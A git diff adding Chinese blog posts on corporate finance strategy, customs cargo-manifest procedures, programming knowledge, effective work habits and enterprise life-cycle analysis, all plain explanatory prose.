+第一个关键点，现金流。你要看你投的机会能不能产生好的现金流。我们不仅仅是看利润，更看这个项目能不能够产生现金流，起码这个现金流要覆盖我们的融资成本，才能够有收益。 + +第二个关键点，收益率。我界定了一下，我们更要关注期限收益率。什么意思？没有一个项目是永远的，所以通常我们都会考虑以10年作为一个期限来考察收益率。 + +最后，是风险。这里我也界定一下，我也加了两个字，风险特征。不同行业、不同项目有不同的风险，把握住那个特征，抓到那个关键的风险，加以解决，才是我们需要的。 + +![](/uploads/2018/10/24-30.png) + +有一点需要提醒大家注意的是，做任何投资决策，你的法定的程序一定要走齐，合法！大一点的公司里，非常重要的就是董事会，投资决策是要上会的，重大决策还要上股东大会。 + +2.融资 +2.1融资基础 + +看完投资，再来看融资。企业要想融资，融资的基础要打好。这里我要特别强调融资决策的三要素。 + +第一个要素，融资时机。 + +我把它叫做三个点的把握： + +首先，运作时点。这是宏观面的把握。在什么宏观面上，采用什么样的融资方式。比如说现在资本市场是严管的情况。你现在上市，就有难度。如果我们启动上市，就要做好准备的过程。或者你还可能会扩大债券融资。所以，运作的时点就是对宏观面的把握。 + +然后，资本热点。资本市场讲什么？要么跟踪，要么创新。 +最后，创新支点。企业面上，你凭什么能上市？是你有创新，跟别人不一样，有核心竞争力么？这种创新的支点也可以从三个方面判断： + +（1）是不是有技术创新。有的人说，我们是一个传统行业，技术创新好像不大灵。 +（2）模式创新。我们技术创新不行，模式上呢？比如说国美，国美能够上市，就是第一家创新了家电销售。原来我们都到百货店，现在是集中销售，所以模式创新也行。 +（3）管理创新。我们通过管理降本增效，所以公司利润特别好，迅速扩张，规模特别大，那也可以。 + +大家去融资，总有要讲的故事，你这个故事强调哪一点，这就是运作时机，是你对宏观、中观、微观三个点的判断。 + +先是时机的把握，然后才是方式。到底是选择债权、股权，还是引进战略投资，还是我们去IPO了。这些都是方式的问题，这也是我要谈的第二个要素。 + +第二个要素，融资方式 +融资方式是跟风险相连的，不同的融资方式之下，企业的风险也是不一样的。所以，大家要来考虑风险。融资决策会给企业带来财务风险。注意，财务风险是一个可控的风险。因为你缺不缺钱，缺多少，什么时候还，还多少，甚至是赖帐不还，我们公司都可以自己决定，所以财务风险是可控的。 + +既然可控，就不可怕。为什么我们还要讲风险？因为我们融了资是为了做投资，是要去花钱了。那么投资决策给我们带来的是经营风险。投资是主观的，而市场是客观的。由此给我们带来的经营风险是不可控的。无论大家做了多么严谨的可行性研究，最终投资决策都是主观的。我们很多企业投资还没完成，市场风向都变了。所以，经营风险是一个不可控的风险。 + +应对不可控的经营风险，这里给大家一个梳理。 + +第一，融资决策一定要前置到投资决策。先想清楚自己怎么花，然后再想自己怎么找钱。所以，我说了好的投资项目决定了融资的难易程度，第一个逻辑就是你要先想清楚投资决策。 + +第二，财务风险要反向搭配经营风险。当你了解了自己的经营风险后，你会选择财务风险大的方式还是财务风险小的呢？一般来讲，财务具有放大作用，整体风险会更高。财务风险和经营风险要反向搭配我们投资项目的整体风险才降下来，不然两个风险都高，就不好办了。 + +第三，再来看融资方式。融资方式有债权融资、股权融资。前面的课里讲过，债权融资对于资金的使用者来说，这是借入的资金，借了就得还，不还债权人有权要求你破产。而股权融资，属于自有资金，不用还。所以，从财务资金使用上，债权融资的风险大于股权融资的风险。 + +而进一步的，融资方式还有短期和长期的分类。短期的风险更大，长期的风险小些。我们根据风险的高低来选择融资方式。具体到股权融资哪一种，债权融资哪一种，大家可以根据自身实际情况去具体地设计方案了。这也是为什么在创业早期，更多用股权的融资。到了成长、成熟的时候，会用财务杠杆来放大。这就是第二个要素融资方式的选择。 + +![](/uploads/2018/10/24-31.png) + +第三个要素，融资规模。 + +按照我们人自然的想法，折腾半天，跟投资人谈半天，才把钱拿到，所以融的钱要多多益善。但是我的建议，融资不要讲规模，讲的是再融资能力的培养。 + +因为你融来的资金，借来的得付利息，股东投来的得分红利，都有资金成本。甚至你融的多了，而你又没有用出去，那就是白掏一个成本。但是，如果我们能够培养融资能力，当我们需要钱的时候，资金可以进来，不需要钱的时候，一分都不要，不浪费，不去付出代价，这才是最好的。我们更强调融资能力的培养。 + +另外，大家来想一想，融资是分次融资对企业有利，还是一次足足的圈很多钱进来合适？从量上来讲，是分次融资量多，还是一次融资量多？答案一定是分次。因为公司在成长，公司的价值在提升，所以分次融资对企业规模来讲更有利。因此我们要做好财务规划和融资规划。 + +2.2融资规划 +我们来简单的就融资规划说两句。 + +融资规划应该基于企业的经营战略，专门来研究融资。融资规划和金融战略不同的地方就是金融战略是我们公司内部的，讲给我们公司内部来听，内部来做，而融资规划是讲给外部投资人的，是基于外部投资人的。 + +投资人对我们公司有什么要求，有什么期待，投资人最关心的是什么？首先是安全性，其次才是赚钱。同时，我们公司现在特别盈利，但将来不盈利，行不行？也不行。因为投资人投资的就是未来。这就是投资三性，站在投资人的角度来思考，投资三性分别是安全性、成长性、收益性。从投资三性出发，其实就能很好的总结出我们应该怎么做我们的融资规划。 + +融资规划的第一个层面，安全性。我们怎么告诉投资人，我们公司是安全的？ + +首先在经营层面，是经营团队的问题，所有的不安全，其实是因为人的问题。所以，我们首先要讲经营团队。比如说一个上市招股说明书，经营团队简历都要放上去，看人、选人。当然，光有好的团队不够，还要有权利制衡机制，要看你的公司治理结构。这就是安全性，好的团队，制度的约束，这是我们做的融资规划第一层面，基于投资人安全性的要求。 + +融资规划的第二个层面，成长性。怎么给投资人讲成长性的故事？ + +一个项目现在盈利，将来也盈利，或者现在不盈利，将来盈利，这就是成长性。但是否真的有成长性，那就得去看战略规划。我们说融资是为了投资，那就是要看你拟募投的项目是否符合你公司的未来发展，是否符合你公司的战略规划。 + +融资规划的第三个层面，收益性。就是你要告诉投资人你的收益非常好。你要把所有的经营情况反映到会计报表上，你的利润、资产、风险都要能从会计报表上看出来。而更深层次的是你是否具有独特的商业模式，让你的项目具有收益性。 + +大家看一下，一个融资规划包含一个好的团队，一个好的项目，漂亮的报表，清晰的战略，独特的模式，你就可以出去讲故事了。当然也不是真的在讲故事，因为这都是你实实在在的情况。 + +![](/uploads/2018/10/24-32.png) + +最后如果我们是公募，这个故事要特别强调公司治理，确保资本安全问题，侧重点在这儿，形成的是招股说明书。如果做私募，就是商业计划书，那就更强调商业模式、会计报表。因为私募的时候都进公司董事会了，更关注的是这部分。 + +三．企业价值管理 +当我们解决了投融资的问题之后，再来看公司的价值管理和成长的规律。企业价值的成长是需要进行管理的，我们要构架一个价值管理的体系，确保公司的成长。 + +1.公司价值成长规律 +我们说一个企业，要有自己的成长性。伴随着公司的成长、经营，利润的获取，资产的扩大，公司的价值可以提升。所以，我们要关注时间轴和价值轴。 + +我任何企业都有自己的生命周期。从我们撒种子冒出小芽，到成熟，再到衰退，这是一个过程。我们把公司的金融战略放在这个过程中，用金融战略的两条主线来分析这个过程，大家还记得吧，一条主线是投资，另外一条主线是融资。 + +我们要做公司了，围绕着一个项目也好，做一个公司也罢。当我们投进去的时候，首先要做第一次重组。第一次重组要确定核心业务，资源集中，才有发展。因为资源是稀缺的，不能什么都做。在这个基础上，进行第一次融资，我把它叫做3F融资，什么意思呢？ + +老妈、大哥借我点钱，我要去创业了，跟家里人借。家庭（Family）英文的第一个字母是F。 + +老张，我要创业了，借我点钱，跟朋友借。朋友（Friend）的第一个字母F，这是第二个F。 + +第三个F，是傻瓜（Fool），傻瓜的第一个英文字母也是F。这个傻瓜，指的就是天使投资。所谓的傻瓜投资或者天使投资，一般应该指的是一个人群，这群人一般都是把一辈子的钱挣够了，现在不想干了，就想周游世界去。所以在最初的时候，天使投资往往都是个人的一种投资行为，现在反倒是有些变味儿了。 + +当我们冒出小芽了，我们就要进行第二次重组了，主要是核心竞争力的重组。我们有了核心业务，在这个阶段要培养核心竞争力了。在这个阶段，一般是风投来接盘。其实这个阶段往往是最艰难的时候。再发展一点点，就到了PE来接盘的时候了。所以，第二次重组确定核心竞争力的重组，需要风投，需要PE来支撑。 + +再发展一段时间，大家就要考虑上市了。大家要注意，不是说你把公司发展的特别好了，你说你要上市。回忆一下，我们说金融的本质是投资人和融资者对赌未来。如果你在公司做的最好的时候上市，意味着什么？你已经没有更大的未来了，你已经做的非常好了。这会儿还有人买我们的股票吗？没有。投资人也被你晾到那儿了。 + +所以，不是等你做好了来上市，而是在这个节点之前来上市。上市不是等你做好了，而是在做的过程中，实现一个阶段性目标的过程中上市。我们上市了，IPO了。投资人也伴随着我们成长了，他会特别爱你，不离开你。 + +大家注意，在你上市之后，还有一个非常关键的节点，就是从你上市到衰退的那个节点，价值急剧下降的阶段，你要进行第四次重组。这次重组是一个确定龙头企业行业领袖的重组，或者是在规模，或者是在商业模式的创新上，总之确定你的行业地位的重组。因为这时候你的融资能力是最强的。所以，上市后的再融资，股权、债权都可以上，可以做融资组合，这是第四次重组。 + +![](/uploads/2018/10/24-33.png) + +当企业真的衰退下去的时候，我们要做第五次重组。我们不可能真的就让公司价值急剧跌下去。大家要注意的就是我们上市的时候，公司再融资的能力就有了，通过上市，品牌方方面面建立起来了。事实上，从你上市成功的时候开始，你的第二阶段的投融资金融战略、战略规划就要开始了，要开始第二轮的投融资了。 + +在这一轮投融资当中，你原有的业务可以分拆退市，新的业务可以再次IPO去，上市去。那么投资人在这一轮中对你的预期，对你的未来赌的是什么？就是你公司估值中的市盈率。市盈率反映了投资人对公司未来发展的信心，信心越足，给我们的市盈率越高，我们的融资量越大。 + +不断重复这个过程，乃至有第三轮的融资过程。这三轮融资过程就是对我们公司成长的管理，公司才真的可以具有成长性，是通过金融战略，助推公司的成长。 + +![](/uploads/2018/10/24-34.png) + +第一轮的金融战略叫做战术性的金融战略。这一轮投融资以现金流为导向，解决生存问题，迅速上市，构建融资平台，根本目的不是为了融资，而是为了获得这个融资平台。 + +第二轮的金融战略叫做战略性的金融战略。这一轮重在资金，要多融资。选择高利润的项目，价值高，多融资，为第三轮做准备。 + +第三轮的金融战略叫做种子性的金融战略。种子、种子，风险很大。撒了种子，也有可能不出芽，出了芽也许长不成参天大树，所以这轮重在江湖地位，要成为龙头企业的。公司就是这么成长的，小企业就是这么变成大企业的，培育这个企业的成长性。 + +2.成长路径 +以上是我们要管理成长的问题，而管理成长有哪些路径呢？我给大家最终归纳为三个路径。我们一定要注意成长管理、公司价值的核心指标就是净资产收益率（ROE）。围绕这个核心指标，我们就能够构架我们成长的路径，一共有三条路径。 + +![](/uploads/2018/10/24-35.png) + +第一条路径：销售利润率——经营活动。 +如果一个企业的销售利润率高，相应就会提高净资产收益率。我们要想提高销售利润率，就要想办法来提高产品利润，这是经营过程。由此构成了第一条路径，经营活动。经营活动是一个创造价值的过程，在这个过程中，大家会碰到风险。这是一种市场风险。 + +由此，在这条路径上重在经营活动，要控制好市场风险，这又一个风险。市场风险，是一个不可控的风险。我们要去提高的财务能力是获利能力。这是成长管理的第一条路径，杰出代表是茅台。归纳下来的路径就是： + +![](/uploads/2018/10/24-36.png) + +第二条路径：资产周转率-投资活动 +通过提高资产周转率也能相应的提高净资产收益率。提升资产周转率的核心是提高我们的资产质量。通过管好我们的资产，别人用这些资产可以带来一次收入，我们公司可以带来十次收入，那我们的资产质量就好，资产运营好带来的收入越多。 + +这一类企业最具典范的是伟星钮扣厂，钮扣一包也没有多少钱，但它是上市公司，世界排名第二的钮扣生产商，需求巨大又是一个龙头企业。所以第二条路径是由企业的投资活动来决定的。你的投资有没有质量，投后管理好不好，不是靠利润来取胜，而靠投资，投资我们讲了，这是一个价值倍增的过程，会给大家带来不可控的经营风险。我们强调的财务能力是营运能力，归纳下来的路径就是： + +![](/uploads/2018/10/24-37.png) + +第三条路径：权益乘数——融资活动 +权益乘数（杠杆比率）越大，你的净资产收益率也越大。这里的本质就是通过融资，做好资本运营，取得好的净资产收益率。这条路径其实讲的是企业的融资活动。融资活动就是把咱们公司销售出去的一个过程，需要你做好自己公司的价值营销。会有的是财务风险，面对财务风险，我们就要强调控制能力。归纳下来的路径就是： + +![](/uploads/2018/10/24-38.png) + +总结一下，其实这节课我们讲的就是围绕着公司价值成长的这个目标来进行的。进一步将上述的三条路径细分，就可以看到其实我们讲的是运营管理、价值管理、风险管理，最后是公司的核心竞争力。 + +![](/uploads/2018/10/24-39.png) + +由此，我们就建立了一个成长管理的模型，紧紧围绕着公司的价值，构成了运营管理、价值管理、风险管理，他们又都建立在核心竞争力之上的。而你的核心竞争力、风险管理、价值管理和运营管理反映的是你企业的资本形象。因此，公司价值、公司成长的管理就要在这几个方面都做好，可以称之为五级突破。 + +而对这个公司价值成长管理而言，更深层次的是可以进一步划分为两个部分。经营活动这条路径指的其实就是你的产业战略，紧紧围绕着你的产业经营。投资活动和融资活动的路径指的就是你的金融战略，围绕着你企业的投融资活动。这两个部分共同构成了企业的产融结合的创新商业模式。 + +最后，总结一下整个模块的课程。我们首先讲了企业的资本战略，讲了企业的发展模型，讲了金融战略，讲了产融结合创新商业模式。又进一步在理念上强调了投融资决策，最终公司价值是核心，我们构架了一个企业价值成长的管理模型。 + +一个核心是公司价值的成长。 + +双向战略是公司的产业战略和金融战略。 + +五级突破是做好核心竞争力、风险管理、价值管理、运营管理和资本形象管理。 + +大家要学会管理公司价值，管理公司价值的成长。这是我们最终大家要做百年老店，基业常青，成为一个有投资价值的好企业的必由之路。 + +我公司金融模块的课程就讲到这块。我非常期待在座各位做成一个具有核心竞争力，既安全又有成长性的好公司。 +谢谢大家！ diff --git a/_posts/2018-10-25-297-xcd.md b/_posts/2018-10-25-297-xcd.md new file mode 100644 index 0000000..afa4835 --- /dev/null +++ b/_posts/2018-10-25-297-xcd.md @@ -0,0 +1,200 @@ +--- +layout: post +title: 新舱单 +pid: 297 +tags: [货代] +--- + +新舱单要点解析： +1. 需要向船代发送正确的收发通（含代码）、品名、件毛体、箱封号，由船代统一发送至海关，收到海关舱单回执以后才能报关。 +2. 一箱多票需要一次性发送成功 + + 例：某个拼票先发送收到回执报关了，其他拼票将无法再次发送 + + 例：某个拼票先发送收到回执报关了，其他拼票没有收到回执需要更改，整个集装箱所有已报关单证需要注销，然后全部重新发送舱单 + + 例：某个拼票先发送收到回执报关了，其他拼票需要更改数据，整个集装箱所有已报关单证需要注销，然后全部重新发送舱单 + +3. 发送舱单的票数和实际进港票数必须完全一致，不允许少发，也不允许多发，否则无法上船 + +建议（供参考）： +1. 集装箱尽早安排进港 +2. 集装箱进港以后，根据进港数据发送舱单，以免更改 +3. 集装箱内所有提单号均受到海关舱单回执以后，才开始报关 + +> 11月1日开始，海关新规定拒绝交叉混拼货物 + + + + + + + + + + + + + + + + + + + + + + + + + + + +
提单号箱号1箱号2箱号3
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C 23
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+交叉混拼 X +
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+正确 +
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+正确 +
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+正确 +
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A1  
B 23
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+正确 +
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提单号箱号1箱号2箱号3
A12 
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+
+正确 diff --git a/_posts/2018-10-26-298-dev.md b/_posts/2018-10-26-298-dev.md new file mode 100644 index 0000000..7d81258 --- /dev/null +++ b/_posts/2018-10-26-298-dev.md @@ -0,0 +1,24 @@ +--- +layout: post +title: 软件开发算不算是真正的知识？ +pid: 298 +tags: [岗前培训] +--- + +引用了一个开发者对年轻程序员的告诫。 + +> 在软件开发中，技术变化如此之快，你花费了大量时间学习技术和工具，一旦这些技术被取代，你的知识将变得毫无价值，因为它们大部分都是实施的细节。 + +我最近总是在想这段话，软件开发算不算是真正的知识？ + +如果它是一种真正的知识，那么理论上，我们学到的东西大部分应该不会过时，就好像微积分不会过时一样。可是实际上，我们都知道，软件开发技能有时效性，十年前学习的编程知识，十年后几乎肯定不能用于生产。那样的话，软件开发就不能算真正的知识，只是一种实施的细节。 + +公司旁边有一家税务所，每天都有很多人排队交税。如果你是第一次来交税，肯定搞不清楚怎么交，交税是一门学问，必须有人教你，要带哪些证件，要填哪些表，去哪些窗口排队等等。 + +我现在认为，学习编程跟学习交税是一样的，都是学习实施的细节。一旦外部环境变了，原来的实施细节就没用了。当代编程由于层层的抽象和封装，我们已经不必接触底层真正具有通用性的知识了。大部分时候，所谓编程就是在写某个抽象层的配置。比如，网页样式就是在写 CSS 配置，你很难说这到底是真正的知识，还是像《办税指南》那样的实施细节。 + +实施细节并不是知识，而是操作步骤。如果技术栈发生变更，实施细节就会毫无用处。但是，你又不能不学习它，不知道实施细节，就没法做出项目。我觉得，程序员应该要警惕，不要落入实施细节的陷阱，不要把全部精力花在实施细节上面，然后以为自己学到了真正的知识。对待各种语言和工具，正确的态度应该是"进得去，出得来"，既要了解足够的细节，也要能够站在宏观的角度看待它，探寻底层到底是怎么实现的。 + +# 参考 + +[每周分享第 28 期](http://www.ruanyifeng.com/blog/2018/10/weekly-issue-28.html) diff --git a/_posts/2018-10-28-299-working.md b/_posts/2018-10-28-299-working.md new file mode 100644 index 0000000..8ab9c0c --- /dev/null +++ b/_posts/2018-10-28-299-working.md @@ -0,0 +1,128 @@ +--- +layout: post +title: 罗胖精选 | 学会“聪明地工作” +pid: 299 +tags: [管理] +--- + +出色的业绩，是晋升的基础。 + +当然了，不同岗位工作内容不同。这堂课不会教每个人，怎么去具体提升某个类型工作的业绩。 + +我想告诉你的是，表现好的员工，除了本身具备优秀的专业技能之外，他们在工作方法上是有一些共性的。 + +比方说，他们知道公司和上级的需要，拎得清工作重点；他们善于创造性地提升工作表现，那么这一节课里，我总结了一些要点和相应的操作性建议，我把它们统称为“聪明的工作方式”。 +做“拎得清”的下属 + +先说第一点，了解公司的需要和上级的期望，拎得清工作重点。 + +管理大师彼得·德鲁克有一个经典的观点：“效率是以正确的方式做事，而效能则是做正确的事。” + +在雇主的眼中，优秀的员工，无论是哪个岗位的，往往有一个共性，那就是：不满足于“正确地做事”，首先懂得如何“做正确的事”。 + +当你接到一个新任务，或者到达一个新岗位时，你首先考虑和处理的是什么事情？ + +是自己熟悉的事情？擅长的事情？喜欢的事情？容易的事情？安排好的事情？ + +都不是，而是公司认为的重要的事情。 + +你要把工作重点放在长期规划的事项中，而不是短期的上级派给你的任务，更不是各种突发事件。 + +回想一下，你上次和直接领导，进行季度，或年度工作计划，是啥时候？还是从来没有过？如果有，那么，你目前的日常工作有多少是围绕工作重点来的？有多少是临时加进来的？ + +如果你和上级的合作关系，是由一系列短期的任务组成的，但是没有长期的规划，那么，你就很容易变成了个“救火队员”。 + +比如，一位零售门店的运营经理，他的长期工作重点，应该是：提升销量、降低成本，可是，不可避免地，他的精力，会被例如“报表反馈”“顾客投诉”“员工休假”这样的琐事牵扯走。 + +如果他没有和上级一起进行清晰的工作重点规划，或者，没有把主要资源和精力放在重点事情上，很可能，干了一年，能拿得出手的业绩，无外乎是“及时反馈公司报表”“处理了多少顾客投诉”“有效安排员工休假”，等等无关痛痒的事情。 + +所以，我给你几点建议： 跟上级一起明确你的工作重点，并且定期沟通；当你的精力被其他工作占据过多的时候，必要时跟上级反馈和沟通，请他帮你减轻负担或梳理优先级。当你不确定老板的想法时，一定不要怕多问，否则你辛辛苦苦干了半天，结果完全不是老板想要的。 + +三个重要的工作习惯 + +说完了“做正确的事”，我们来说如何“正确地做事”。 + +“正确地做事”说白了就是如何高效开展工作，我想讲三个要点，也可以说是三个重要的工作习惯。 + +它们包括： 一、“不要重新发明轮子”，二、成为改进者，三、及时复盘。 我一个个来和你解释。 + +第一，“不要重新发明轮子”，这一点针对的主要是常规性的工作。 + +这个比喻意思是说，你要相信，在职场上，你遇到的大部分问题，都是已经有了现成的解决方法或者工具的，就像“车轮”早就存在了一样。 + +而你要做的，就是迅速找到那个现成的方法或者工具，把你手头的工作快速地完成；而不是凭一己之力，或者自己的一厢情愿去做事情。 + +举一个我的部下的例子，有一个周末，我到单位去取周五落在办公室的东西，我看到他聚精会神地在电脑前工作。 + +于是我问他，你在干嘛呀，他说“两张商品报表里的价格我想合并在一起做个对比，但是呢，有1300多行，我周五已经搞了一下午了，我想还是用周末的时间把它贴完吧。” +我当时听了，又气又好笑，你说这个员工不努力吧，的确，人家挺委屈的，大周末的跑来加班；你说这种行为值得表扬吗？实际上Excel里的v look up功能，早就解决了快速匹配合并报表的问题，还肯定不会贴错。 + +所以，当你接到一个任务的时候，首先不要自己“吭哧吭哧”地跳进去就开始干了，而是先想一想，问一问，找一找，看看能不能发现一些快捷的工具，或者现成的经验和方法。 + +说完了不要重新发明轮子，我再来跟你说第二个工作习惯，成为改进者。 是指工作中当你在做重复的事情时，试着用不同的办法去做，找到更好的办法。 + +有位创业公司的CEO曾和我分享了一个困惑，她说，她有个老员工，负责渠道开拓，兢兢业业干了2年了，忠诚度可嘉。但是这位员工和她说自己感觉审美疲劳了，想晋升到管理岗位去。她却觉得哪不对，可又说不上来。 + +我提醒她：你的那位老员工，这两年的时间，有没有尝试过开拓更多的销售渠道、有没有用过新的人脉更快地完成销售指标、有没有提出过更好的流程改进建议、有没有减少过销售管理费用的开支等等。 + +这位朋友马上明白了，她的这位员工只是把这个工作原地重复了2年，而且，为了让他成为管理者，将来还要多招一到两个新人来接手他的业务。 + +这就等于企业在利润没有明显提高的同时，增加了近一倍的管理成本。 + +那么，怎么去找到能够提升的点呢？这里和你分享一个 “why-why分析法” 。也就是 对一个问题，连续进行追问“why——为什么”，直到找到真正的原因为止。 + +我在一家知名电商担任企业大学校长的时候，就用过这个办法。当时，我们公司需要提升整体的利润率，而采购的谈判水平，直接关系着这一指标的达成。 + +以往，到了年底，公司就会请各种内外部讲师，对采购部的员工进行谈判技巧的培训，这听起来也是理所当然的。我上任了以后，就开始问“为什么”了。 + +为什么我们的采购，在谈判桌上，谈不回更好的条款？ + +那是因为谈判能力不强。 + +为什么说他们谈判能力不强？ + +那是因为每次和供应商谈判，仅仅是针对商品的供货价格，来来回回磨嘴皮，而不知道怎么去向供应商，要他们公司的市场部的费用。供应商在别的同类型网站的市场费用的投入是我们的两倍。 + +为什么不去要市场部的费用？ + +那是因为我们的采购不知道拿网站上什么资源去和他们市场部换。 + +为什么不知道我们有哪些资源？ + +因为从来没有人，把公司的网站资源进行定价，采购们都是凭感觉自己报价格。 + +你看，真的是采购的谈判技巧不行吗？如果网站资源定价的问题不解决，再牛的谈判高手也不可能从供应商那里要来关键的资源。 + +经过了这一系列的why-why分析，我果断地把单纯讲谈判技巧的课压缩，而是跟运营和市场的同事们一起，把网站资源做了统一定价，并针对这一块业务能力，加强了培训。 +那一年，公司的合同谈判收到了前所未有的好效果。 + +无论你手头的工作是什么，你都可以从多、快、好、省这四个方面去运用“why-why分析法”，试试看能否通过一些改进，做出不同的结果来。 + +作为员工，如果你能把重复的事情做出差异，那么，就能一下子脱颖而出。 + +说完了成为改进者，我们再来说聪明工作的第三个习惯，复盘。 + +我在宝洁公司工作时，学到了一个习惯，那就是每一次重要的客户拜访结束之后，或者是会议结束之后，与团队一起复盘。 + +你可以问大家和自己：我们这一次做得好的地方有哪些？请举出三个我们的“长处”。我们这一次还可以改进的地方有哪些？请举出两个“短处”。 + +这种复盘法我叫它 “三长两短法”。 + +之所以长处要多于短处，是要让团队和你自己不要被一时的困难所吓倒，扬长避短，而不是过多地被自己的短板牵扯精力、打击士气。 + +我建议你也用上这个“三长两短”的复盘法，它有趣、好用，坚持下来你会发现它巨大的价值。 + +你可以把职场的工作想象成打一款动作类游戏，你遇到障碍物的时候，那就该跳，遇到敌人，就该射击。 + +障碍物和敌人的出现，其实是有规律性的。如果你经常性地去总结，你就会找到应对的套路。 + +不总结不复盘的人，就容易 “同一个坑摔两次”。 而你就相当于多了很多次存档、读档、再来的机会。 + +本讲小结 + +要跟上级的期望同步、拎得清工作重点，“做正确的事”；通过“不要重新发明轮子”，持续改进，以及复盘，来“正确地做事”。 + + +#参考 + +[学会“聪明地工作”](https://m.igetget.com/share/course/article/article_id/82900) diff --git a/_posts/2018-10-29-300-xcw01.md b/_posts/2018-10-29-300-xcw01.md new file mode 100644 index 0000000..dc30d5b --- /dev/null +++ b/_posts/2018-10-29-300-xcw01.md @@ -0,0 +1,293 @@ +--- +layout: post +title: 【财务会计模块】 第1节 财务分析与企业生命周期 +pid: 300 +tags: [mba] +--- + +今天很荣幸到混沌商学院来跟大家分享我们在企业管理、风险管理、财务管理方面的一些经验和认识。 + +一、 企业不同发展阶段的价值观： + +一般企业从产品开始，他要经历产品阶段，这个阶段他的核心是产品设计方案。这个设计方案里面包含产品价值。所以我们在这个阶段去看企业的时候，我们是从产品的角度去认识这个项目。产品是否创造价值，是我们观察这个项目是不是能够持续往下走一个非常重要的依据。 + +产品价值在经济学中包含两个方面的含义： + +a 产品是否能够给用户创造使用价值； +b 产品是否有交换价值。 + +所以我们在这个阶段通过了解产品是否能够给客户带来超预期的体验，和它是否能够给我们创造交换价值，即用户是否愿意付费，这两个角度去评价这个项目是否有价值。 + +在这个阶段，我们主要关心业务数据，比如：注册用户、活跃用户等等。那么当企业在产品阶段能够得到注意力经济的支持之后，它就进入了第二个阶段即运营规模扩张的阶段。 + +在这个阶段里面我们用经济学上的经济规模价值来评估这个项目。我们会用梅特卡夫模型来了解一个企业是否拥有运营规模扩张的价值。那么这个角度他是管理层的角度，在管理层的角度只有我们的管理是有效率的，我们才能够扩大规模。但是，在这个时候我们讨论的不是企业规模，是运营的规模。也就是产品的规模。 + +我们在产品上要投入，比如研发、营销，但同时产品通过客户也给企业带来受益，这是第二个阶段。一个企业成功的把他的产品的规模做出来以后，他的投入，产品的成本在增加费用在增加但同时收入也在增加，这个时候我们我们开始关心他的财务数据。如果他有足够的增长的潜力，那他可能会进入到第三个阶段，第三个阶段我们叫持续经营阶段。 + +在这个阶段，企业的运营投入能够通过收入来弥补，他慢慢的能够通过收入的增长去弥补成本费用的增长，从而达到盈亏平衡。当企业的财务状况能够达到盈亏平衡，也就代表说在运营上他已经可以持续经营。他已经可以进入到财务投资价值这样的一个阶段。这个时候我们来分析他的财务数据，才有意义。 + +二、 企业发展有哪几个阶段? + +首先我们来看看企业发展的三个阶段。 + +我们将用四条线索来分析企业所处的不同阶段，这四条线分别是： + +a. 每个阶段的特点； +b. 每个阶段应用到的估值理论； +c. 每个阶段的重要数据； +d. 每个阶段的融资属性。 + +1.第一个阶段是产品阶段。 + +在这个阶段，市场有需求，企业有想法，因为需求和想法相结合，我们有了产品。那么在这个阶段最最重要的一件事情是我们要建立一个产品设计方案。在这个方案当中，我们想要了解产品是否能创造价值。 + +刚才我们讲了，产品有两个价值，一个是对用户有用的叫使用价值，即用户用了我这个产品之后有更好的、超预期的体验，这个产品实际达到的功能和目的超过了预期，这就是产品使用价值。其次，产品有交换价值。客户愿意为了这个产品支付代价，这个叫交换价值。 + +他愿意支付代价，我们才能从客户获得利益。所以一个重要的产品设计方案里面，需要包括我们的产品是什么样的？我们如何用这个产品来赚到钱？ + +虽然我们处在互联网的时代，很多的公司的产品是免费给用户使用的，但是免费这种方式如何让我们从客户身长找到交换价值呢？你如果找不到交换价值你永远在第一阶段，你不可能往下走。 + +产品的价值需要我们学会如何去判断产品的功能以及产品给企业带来的利益。如果产品本身不唯一，我这个产品面世的时候，市场上马上就有跟我类似的产品跟上来，那我如何证明我的产品比同类产品好？所以在产品设计方案里面，要有自己独特的东西，不能说我的产品一定比其他的市场上所有的产品都好，但是我的产品能够吸引一部分客户，也就是说我有我独特的地方。 + +在第一阶段我们还非常关心产品给我们带来的注意力经济。注意力经济里面我们会关心一些重要的数据，比如：注册用户。 + +能够让客户关注你是一件很不容易的事情，他在浏览的时候看你一眼，你不能获取他的数据。他在你这里注册一下，你才能获取他的数据。要让客户在我们这儿注册一下，花点时间把他的信息留下来跟我们交换，就代表你已经引起了他的注意。 + +所以我们用注册用户的数量、增长来了解一个项目他引起的注意力经济的多少。但是光有注册用户是不够的，这些用户必须转化为付费用户和活跃用户。所以我们在这里有一个重要的数据叫用户转化率。注册用户的数量，付费用户的数量，活跃用量的数量，以及用户的转化率，用户的增长率是能够让我们了解第一阶段你这个产品能够给企业带来的流量。 + +这个阶段企业的运行需要投入，我们称为创业投资。如果你的产品能够吸引注意力经济，那你能够获得外部的融资，这个阶段的融资我们称为天使。 + +2.运营规模扩张阶段。 + +当企业的产品能够创造价值的时候，会进入到第二阶段即运营规模扩张阶段。这个时候企业的产品开始要扩大运营规模，整个的企业要做大营销、组建营销队伍，同时提高生产能力。随着运营规模的扩张，企业开始需要人力资源管理了。 + + +人力资源管理要建立考核和激励，考核和激励的制度能够有效的去帮助你的营销能够精确地去做管理。此外我们还要有成本费用的管控。精准管理就是钱要花到能够给我们达到预期目的的这个方向上去，精准管理需要很好的财务管控。所以在企业发展的第二个阶段，需要的资源和第一阶段不一样，他需要有一个平台。这个时候就从产品阶段就进入到企业阶段了，因为他必须要有一个模式来管理。 + +在这个阶段要考量一个企业是否值得扩大运营规模？即运营价值，我们用梅特卡夫模型来帮我们讨论一个企业扩大运营规模是不是有价值，梅特卡夫模型早期的时候用来讨论某个产品通过互联网去传播是否有价值。现在把他的参数稍微改了一下。 + +模型的分子K，K代表单个客户对企业的贡献。那么在有些互联网企业里面，他们会把这个K定义为mou，mou就是每个月客户给我们带来的现金流。客户每个月给我们带来的现金流mou。这个N是客户数量，M是产品数量，用N乘以M来代表运营的规模，其实是非常有意义的。 + +企业是一个产品和客户之间的平台，企业提供产品，为客户提供选择。比如京东就是一边提高产品的数量一边提高客户的数量，所以他的运营规模一直在增长。但同时企业去提供产品或者找客户的时候是要付出代价的。R在梅特卡夫模型里面他原来是指客户距离企业有多少节点。客户通过多少节点来找到我们。他距离我们越远，我们要投的营销费用就越高。 + +所以这个梅特卡夫模型他是不鼓励企业去找太远的客户，如果要付太高的营销成本，那就算了。所以那些对于单纯的做营销的企业来说，R就是营销费用，R是带平方的。所以刚才提到了精准管理，你付出去的营销费用是跟运营价值呈反比的，并且是平方的反比。所以营销费用付下去以后，要能够找到客户，让客户给企业带来贡献，这个R方和K乘以M，M是有关系的。 + 